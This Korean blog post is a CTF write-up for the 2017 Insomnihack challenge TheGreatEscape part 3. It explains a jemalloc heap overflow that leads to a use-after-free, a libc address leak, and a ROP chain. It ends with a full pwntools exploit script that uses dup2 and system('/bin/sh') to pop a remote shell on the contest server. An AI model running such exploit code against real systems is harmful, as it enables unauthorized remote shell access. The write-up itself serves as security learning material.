튜기's blogggg

2017 Insomnihack TheGreatEscape-part3

by St1tch


part2를 대회 끝나기 1시간전에 풀어서 바이너리만 추출하고 fedora docker에서 jemalloc 라이브러리 추출하고 시간내에 못 풀것같아서 잤던 문제다.

heap overflow가 발생하는건 대회때 봐뒀기 때문에 서버도 아직 열려있어서 writeup을 보기전에 다시 풀어보았다.


우선 이 문제를 풀기위해서는 jemalloc libc가 필요한데, fedora에서 쉽게 받을 수 있다.

따라서 docker로 fedora 최신버전을 킨 다음에 yum install jemalloc 을 통해 libc를 받고

그냥 jemalloc libc를 추출한 다음에 LD_PRELOAD를 통해 ubuntu에서도 실행시킬 수 있다.

(ubuntu에서도 받는 방법이 있을거 같은데 방법을 찾지 못했다.)



첫번째 밑줄 그은 memcpy에서 heap overflow가 발생한다.

여기서 free되는 주소를 overwrite 할 수 있다.

이 free되는 주소를 ptr주소로 바꾸면 free함수가 호출될 때 ptr주소가 free된다.

그리고 다음 malloc 때, 8바이트를 입력하면 방금 free된 ptr주소에 할당이 된다.

즉, 전형적인 uaf취약점이 발생한다.


memcpy함수에서 buf에 입력한 값이 ptr 주소에 복사가 된다.

따라서, 97줄에 있는 ptr함수가 호출될 때, 원하는 함수를 호출할 수 있게 된다.





메모리맵을 보니 jemalloc에서는 brk를 이용해서 malloc하는게 아니고 mmap으로 malloc하는 것 같다.




위에서 취약점에 대해서 설명을 했기 때문에 rop payload만 잘 작성하면된다.

근데 적당한 가젯을 찾기가 힘들었는데, 대놓고 쓰라고 가젯을 주어준거처럼 매우 유용한 가젯이 숨어있다.


위 가젯을 통해 name주소로 rsp를 바꿀 수 있고, name에 rop payload를 넣어 놓으면 된다.


나는 __libc_start_main 함수의 got를 send로 보내주고, 

recv함수를 쓰기 까다로워서 그냥 handleconnection함수로 트리거 시켰다.


그리고 dup2(4, 0), dup2(4, 1) 함수를 실행시켜서 fd를 복사한 뒤, 

system('/bin/sh')가 실행되도록 rop payload를 작성한 뒤 name에 넣었다.


그리고 마찬가지로 rsp가 name으로 오게끔 해서, rop payload가 실행되도록 하였다.




from pwn import *

context.log_level = 'info'

local = False
if local :
    ptr_addr = 0x7f6d31616008-8
    s = remote('localhost', 5001)
    pause()
else :
    ptr_addr = 0x7f8355be7010-8
    s = remote('52.214.142.175', 5001)

def solver() :
    pay = 'ROBOTS WILL BE FREE!'
    s.sendline(pay)

    libc_got = 0x602048
    send_plt = 0x400BE0
    recv_plt = 0x400B40
    pop_rdi = 0x401713
    pop_rsi_r15 = 0x401711
    trigger = 0x400e69
    dummy = 'fuckfuck'

    pay1 = p64(pop_rdi)
    pay1 += p64(4)
    pay1 += p64(pop_rsi_r15)
    pay1 += p64(libc_got)
    pay1 += dummy
    pay1 += p64(send_plt)
    pay1 += p64(trigger)
    s.sendafter('you?', pay1)

    s.sendafter('method:', '0')

    s.sendafter('location?', dummy*2)

    pay3 = 'a' * 200 + 'x'*4 + p64(ptr_addr)
    s.sendafter('goal?', pay3)

    s.recvuntil('x'*4)
    heap_addr = u64(s.recv(6).ljust(8, '\x00'))
    log.info('heap addr = {}'.format(hex(heap_addr)))

    gadget = 0x400e65
    s.sendafter('words?', p64(gadget))

    libc_addr = u64(s.recv(6).ljust(8, '\x00'))
    log.info('libc addr = {}'.format(hex(libc_addr)))

    s.clean()

    libc = ELF('libc')
    offset = libc_addr - libc.symbols['__libc_start_main']
    system = offset + libc.symbols['system']
    binsh = offset + list(libc.search('/bin/sh'))[0]
    dup2 = offset + libc.symbols['dup2']
    log.info('system addr = {}'.format(hex(system)))
    log.info('binsh addr = {}'.format(hex(binsh)))
    #-------------------------------------------------------------

    pay = 'ROBOTS WILL BE FREE!'
    s.sendline(pay)
    #dup2(4, 1)
    pay1 = p64(pop_rdi)
    pay1 += p64(4)
    pay1 += p64(pop_rsi_r15)
    pay1 += p64(1)
    pay1 += dummy
    pay1 += p64(dup2)
    #dup2(4, 0)
    pay1 += p64(pop_rdi)
    pay1 += p64(4)
    pay1 += p64(pop_rsi_r15)
    pay1 += p64(0)
    pay1 += dummy
    pay1 += p64(dup2)
    #system('/bin/sh')
    pay1 += p64(pop_rdi)
    pay1 += p64(binsh)
    pay1 += p64(system)

    s.sendafter('you?', pay1)

    s.sendafter('method:', '0')

    s.sendafter('location?', dummy*2)

    ptr_addr2 = ptr_addr+8
    pay3 = 'a' * 200 + 'x'*4 + p64(ptr_addr2)
    s.sendafter('goal?', pay3)

    s.recvuntil('x'*4)
    heap2_addr = u64(s.recv(6).ljust(8, '\x00'))
    log.info('heap2 addr = {}'.format(hex(heap2_addr)))

    gadget = 0x400e65
    s.sendafter('words?', p64(gadget))

    s.interactive()

if __name__ == '__main__' :
    solver()


ubuntu16.04에서 __libc_start_main함수의 offset 끝 3자리가 740인 라이브러리가 2개있어서 좀 해맸다.

심지어 libc-database에도 한개가 검색되길래 당연히 내 libc인 줄 알았는데 알고보니 2개였다.....

다음부턴 비교적 뒤쪽에 있는 함수주소를 릭해야겠다.



블로그의 정보

튜기's blogg(st1tch)

St1tch

활동하기